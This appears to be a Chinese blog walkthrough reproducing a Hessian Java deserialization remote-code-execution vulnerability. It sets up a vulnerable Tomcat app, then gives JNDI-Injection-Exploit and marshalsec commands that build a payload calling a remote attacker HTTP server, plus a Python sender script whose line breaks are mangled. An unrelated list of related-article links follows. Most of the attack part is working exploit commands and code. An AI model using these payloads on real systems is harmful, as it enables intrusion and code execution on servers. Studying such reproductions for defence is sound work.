漏洞简介

Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。

和Java原生的序列化对比,Hessian更加高效并且非常适合二进制数据传输。既然是一个序列化/反序列化框架,Hessian同样存在反序列化漏洞的问题。
对于Hessian反序列化漏洞的利用,使用ysoserial工具的Gadget是无法成功的,而是要用marshalsec工具的Gadget。这是因为ysoserial是针对Java原生反序列化漏洞的,并没有一些如Hessian等非Java原生反序列化漏洞的Gadgets。

环境搭建

https://github.com/wlj-debug/Hessian-Deserialize-RCE
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat

启动tomcat

访问:/HessianTest/hessian

漏洞搭建成功

漏洞复现

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A xx.xx.xx.xx


直接用marshalsec来生成payload,这里地址指定为JettyServer并在指定恶意执行类为ExecTemplateJDK7:
执行命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://xxx.xxx.xxx.xxx:8180/ ExecTemplateJDK7>hession


接下来就是编写脚本将序列化的payload:hession发送到服务器

#!/usr/bin/env python
# coding=utf-8
# code by 21superman
# Date 2018年12月28日
import requests
import argparsedef load(name):header=b'\x63\x02\x00\x48\x00\x04'+b'test'with open(name,'rb') as f:return header+f.read()def send(url,payload):proxies = {'http':'127.0.0.1:8080'}headers={'Content-Type':'x-application/hessian'}data=payloadres=requests.post(url,headers=headers,data=data)return res.textdef main():parser = argparse.ArgumentParser()parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")parser.add_argument("-p",help="payload file")args = parser.parse_args()if args.u==None or args.p==None:print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')else:send(args.u, load(args.p))
if __name__ == '__main__':main()#load('hession')
python3 hessian.py -u http://172.21.1.130:8080/HessianTest/hessian -p hession

Java Hessian反序列化漏洞相关推荐

  1. linux反序列化漏洞,Apache Camel Java对象反序列化漏洞(CVE-2015-5348)

    Apache Camel Java对象反序列化漏洞(CVE-2015-5348) 发布日期:2015-12-15 更新日期:2015-12-18 受影响系统:Apache Group Camel 描述 ...

  2. java rmi反序列化漏洞 简介

    目录 一.RMI简介 二.RMI示例 三.漏洞复现 四.漏洞分析 1.为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明? 2.为什么不直接将ba ...

  3. Shiro的Java原生反序列化漏洞

    参考: http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/ ...

  4. java序列化_技术干货 | JAVA反序列化漏洞

    目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...

  5. Apache Shiro remember Me反序列化漏洞(Shiro 550)复现

    Apache Shiro remember Me反序列化漏洞(Shiro 550)复现 什么是Shiro Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证.授权.加密和会 ...

  6. 『Java安全』反序列化-浅析Hessian反序列化POP链

    文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...

  7. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  8. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

  9. java 反序列化漏洞简介

    目录 一.Java的序列化与反序列化 二.对java序列化的理解 三.反序列化的漏洞原理概述 四.关于反射链 一.Java的序列化与反序列化 在这里我们直接自己定义一个类,然后对这个类的对象(一个实例 ...

最新文章

  1. minor gc和Major GC,Full GC的触发条件
  2. Windows 10 UWP开发:如何不让界面卡死
  3. qtdesigner设计表格_QT Designer基础——登录界面设计基础版
  4. 多晶硅价格已处于阶段性高点
  5. dcmm认证的条件_DCMM认证 数据管理能力成熟度模型评估
  6. AutoMapper 9.0的改造(续)
  7. Fatal error: Call to undefined function randstr()
  8. 2017 9月java答案_西安交通大学17年9月课程考试《Java语言程序设计》作业考核试题 (答案)...
  9. django 集成个推_Django动态添加定时任务之djangocelery的使用
  10. Exception的妙用
  11. 51NOD-1027 大数乘法【大数】
  12. matlab拟合函数参数,matlab怎么拟合函数参数?
  13. 利用计算机本地文档重装系统,本地模式怎么进入PE系统对电脑进行重装
  14. TFS2010安装图解
  15. 数学基础知识总结 —— 2. 常用积分公式
  16. 图像分割-连通区域分析
  17. 关于ZBRUSH弯折功能使用问题
  18. 个别化教育计划IEP模板
  19. 想来一杯奶昔吗?NEX-5R、NEX-6强势登场
  20. 极海推出APM32A系列车规级MCU

热门文章

  1. 分布式电源接入对配电网的影响(matlab程序) 分布式电源的接入使得配电系统从放射状无源网络变为分布有中小型电源的有源网络
  2. 分布式电源选址定容,储能选址定容
  3. @JsonDeserialize#as 反序列化为子类
  4. PDF阅读必备神器,快来pick一下!
  5. 小慕读书后台管理平台笔记
  6. AS-V1000视频监控管理平台的录像策略和录像回放
  7. python爬虫与文本数据分析 系列课
  8. 台式计算机如何除尘,台式机如何除尘
  9. 世嘉MD游戏开发进阶篇【四】:向量点乘的计算
  10. leetcode:1154. 一年中的第几天